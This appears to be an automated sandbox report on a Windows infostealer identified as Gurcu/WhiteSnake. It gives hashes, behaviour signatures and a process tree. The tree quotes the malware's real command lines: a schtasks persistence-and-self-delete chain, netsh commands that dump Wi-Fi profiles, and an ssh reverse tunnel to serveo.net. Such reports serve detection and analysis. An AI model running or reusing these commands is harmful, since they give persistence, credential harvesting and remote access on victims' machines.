Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-10-2023 10:59

General

  • Target

    fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe

  • Size

    225KB

  • MD5

    1edb8aa1adacda31bc98064b1634ddea

  • SHA1

    7dc5aee1dd577b61a41a5001d465f0606bb33618

  • SHA256

    fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575

  • SHA512

    26601df19ed259e48ae9e5a792fdb814d216cae446da5f2518670c25df2111a8df69c8afd2059a49e3f2c84156bb4fa95c9106f348535eb79e29f436df42037a

  • SSDEEP

    3072:GQ2NGV19gqU3pJpfYTCOoShKmECPTKBWFPkl6WQre9Q29bSHXGhrD9HA2AF+q73o:uGDCOoSEmkWeILe9z9bS30AzHe0

Malware Config

Signatures

  • Detect Gurcu Stealer V3 payload 4 IoCs
  • Gurcu, WhiteSnake

    Gurcu is a malware stealer written in C#.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 46 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe
    "C:\Users\Admin\AppData\Local\Temp\fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2192
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe" &&START "" "C:\Users\Admin\AppData\Local\WindowsSecurity\fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4900
      • C:\Windows\system32\chcp.com
        chcp 65001
        3⤵
          PID:2380
        • C:\Windows\system32\PING.EXE
          ping 127.0.0.1
          3⤵
          • Runs ping.exe
          PID:4340
        • C:\Windows\system32\schtasks.exe
          schtasks /create /tn "fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe" /rl HIGHEST /f
          3⤵
          • Creates scheduled task(s)
          PID:2532
        • C:\Users\Admin\AppData\Local\WindowsSecurity\fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe
          "C:\Users\Admin\AppData\Local\WindowsSecurity\fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe"
          3⤵
          • Executes dropped EXE
          • Accesses Microsoft Outlook profiles
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:5052
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:4360
            • C:\Windows\system32\chcp.com
              chcp 65001
              5⤵
                PID:3872
              • C:\Windows\system32\netsh.exe
                netsh wlan show profiles
                5⤵
                  PID:500
                • C:\Windows\system32\findstr.exe
                  findstr /R /C:"[ ]:[ ]"
                  5⤵
                    PID:4156
                • C:\Windows\SYSTEM32\cmd.exe
                  "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1216
                  • C:\Windows\system32\chcp.com
                    chcp 65001
                    5⤵
                      PID:4392
                    • C:\Windows\system32\netsh.exe
                      netsh wlan show networks mode=bssid
                      5⤵
                        PID:1240
                      • C:\Windows\system32\findstr.exe
                        findstr "SSID BSSID Signal"
                        5⤵
                          PID:1260
                      • C:\Windows\System32\OpenSSH\ssh.exe
                        "ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:4279 serveo.net
                        4⤵
                          PID:4272
                  • C:\Users\Admin\AppData\Local\WindowsSecurity\fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe
                    C:\Users\Admin\AppData\Local\WindowsSecurity\fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe
                    1⤵
                    • Executes dropped EXE
                    • Accesses Microsoft Outlook profiles
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of WriteProcessMemory
                    • outlook_office_path
                    • outlook_win_path
                    PID:2792
                    • C:\Windows\system32\cmd.exe
                      "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2080
                      • C:\Windows\system32\chcp.com
                        chcp 65001
                        3⤵
                          PID:2780
                        • C:\Windows\system32\netsh.exe
                          netsh wlan show profiles
                          3⤵
                            PID:5040
                          • C:\Windows\system32\findstr.exe
                            findstr /R /C:"[ ]:[ ]"
                            3⤵
                              PID:4704
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3080
                            • C:\Windows\system32\chcp.com
                              chcp 65001
                              3⤵
                                PID:3936
                              • C:\Windows\system32\netsh.exe
                                netsh wlan show networks mode=bssid
                                3⤵
                                  PID:4428
                                • C:\Windows\system32\findstr.exe
                                  findstr "SSID BSSID Signal"
                                  3⤵
                                    PID:4708
                                • C:\Windows\System32\OpenSSH\ssh.exe
                                  "ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:4279 serveo.net
                                  2⤵
                                    PID:4912

                                Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • C:\Users\Admin\.ssh\known_hosts

                                  Filesize

                                  406B

                                  MD5

                                  ec266d309cbad86b3e4939f2117dfe39

                                  SHA1

                                  cf12599fbdc167b4c01b518a0bd63d51cd83798b

                                  SHA256

                                  2f8ecca5380615bcd1530817933a7ea03d2d4fdc7d6e634829aa54e40413b05d

                                  SHA512

                                  d2d39d9174f459146de57c205979e7815829c37eafd214cdce88f90a961f04e5468290e530cf31b9b621276a86eb3a071bbf3464962e1a8e44a7478794571baa

                                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe.log

                                  Filesize

                                  847B

                                  MD5

                                  3308a84a40841fab7dfec198b3c31af7

                                  SHA1

                                  4e7ab6336c0538be5dd7da529c0265b3b6523083

                                  SHA256

                                  169bc31a8d1666535977ca170d246a463e6531bb21faab6c48cb4269d9d60b2e

                                  SHA512

                                  97521d5fb94efdc836ea2723098a1f26a7589a76af51358eee17292d29c9325baf53ad6b4496c5ca3e208d1c9b9ad6797a370e2ae378072fc68f5d6e8b73b198

                                • C:\Users\Admin\AppData\Local\WindowsSecurity\fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe

                                  Filesize

                                  225KB

                                  MD5

                                  1edb8aa1adacda31bc98064b1634ddea

                                  SHA1

                                  7dc5aee1dd577b61a41a5001d465f0606bb33618

                                  SHA256

                                  fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575

                                  SHA512

                                  26601df19ed259e48ae9e5a792fdb814d216cae446da5f2518670c25df2111a8df69c8afd2059a49e3f2c84156bb4fa95c9106f348535eb79e29f436df42037a

                                • C:\Users\Admin\AppData\Local\WindowsSecurity\fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe

                                  Filesize

                                  225KB

                                  MD5

                                  1edb8aa1adacda31bc98064b1634ddea

                                  SHA1

                                  7dc5aee1dd577b61a41a5001d465f0606bb33618

                                  SHA256

                                  fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575

                                  SHA512

                                  26601df19ed259e48ae9e5a792fdb814d216cae446da5f2518670c25df2111a8df69c8afd2059a49e3f2c84156bb4fa95c9106f348535eb79e29f436df42037a

                                • C:\Users\Admin\AppData\Local\WindowsSecurity\fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe

                                  Filesize

                                  225KB

                                  MD5

                                  1edb8aa1adacda31bc98064b1634ddea

                                  SHA1

                                  7dc5aee1dd577b61a41a5001d465f0606bb33618

                                  SHA256

                                  fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575

                                  SHA512

                                  26601df19ed259e48ae9e5a792fdb814d216cae446da5f2518670c25df2111a8df69c8afd2059a49e3f2c84156bb4fa95c9106f348535eb79e29f436df42037a

                                • C:\Users\Admin\AppData\Local\loshoa0u2z\port.dat

                                  Filesize

                                  4B

                                  MD5

                                  120ca817ebe8caa71e92ac53049b2c6a

                                  SHA1

                                  4259da247c5310779999bdbae6d693c005483ce2

                                  SHA256

                                  b45048bf83d0e17f9499d615d94c94b7eb72c7925a32a6eadbf56b7e0181833a

                                  SHA512

                                  ec11cf4aa1bf3ebbc564855cba7999eb797a419e53342378dd6f166b8fa3e952d0a19642bd049e090f84b20e3a815ea18fc5b46f15dcccf24b14f5cae415ae89

                                • memory/2192-1-0x00007FFF691A0000-0x00007FFF69C61000-memory.dmp

                                  Filesize

                                  10.8MB

                                • memory/2192-2-0x0000015C73630000-0x0000015C73640000-memory.dmp

                                  Filesize

                                  64KB

                                • memory/2192-6-0x00007FFF691A0000-0x00007FFF69C61000-memory.dmp

                                  Filesize

                                  10.8MB

                                • memory/2192-0-0x0000015C70FA0000-0x0000015C70FDE000-memory.dmp

                                  Filesize

                                  248KB

                                • memory/2792-18-0x000001AEAD050000-0x000001AEAD060000-memory.dmp

                                  Filesize

                                  64KB

                                • memory/2792-17-0x00007FFF68420000-0x00007FFF68EE1000-memory.dmp

                                  Filesize

                                  10.8MB

                                • memory/2792-21-0x00007FFF68420000-0x00007FFF68EE1000-memory.dmp

                                  Filesize

                                  10.8MB

                                • memory/2792-22-0x000001AEAD050000-0x000001AEAD060000-memory.dmp

                                  Filesize

                                  64KB

                                • memory/5052-15-0x00007FFF68420000-0x00007FFF68EE1000-memory.dmp

                                  Filesize

                                  10.8MB

                                • memory/5052-12-0x000002187DD30000-0x000002187DD40000-memory.dmp

                                  Filesize

                                  64KB

                                • memory/5052-11-0x00007FFF68420000-0x00007FFF68EE1000-memory.dmp

                                  Filesize

                                  10.8MB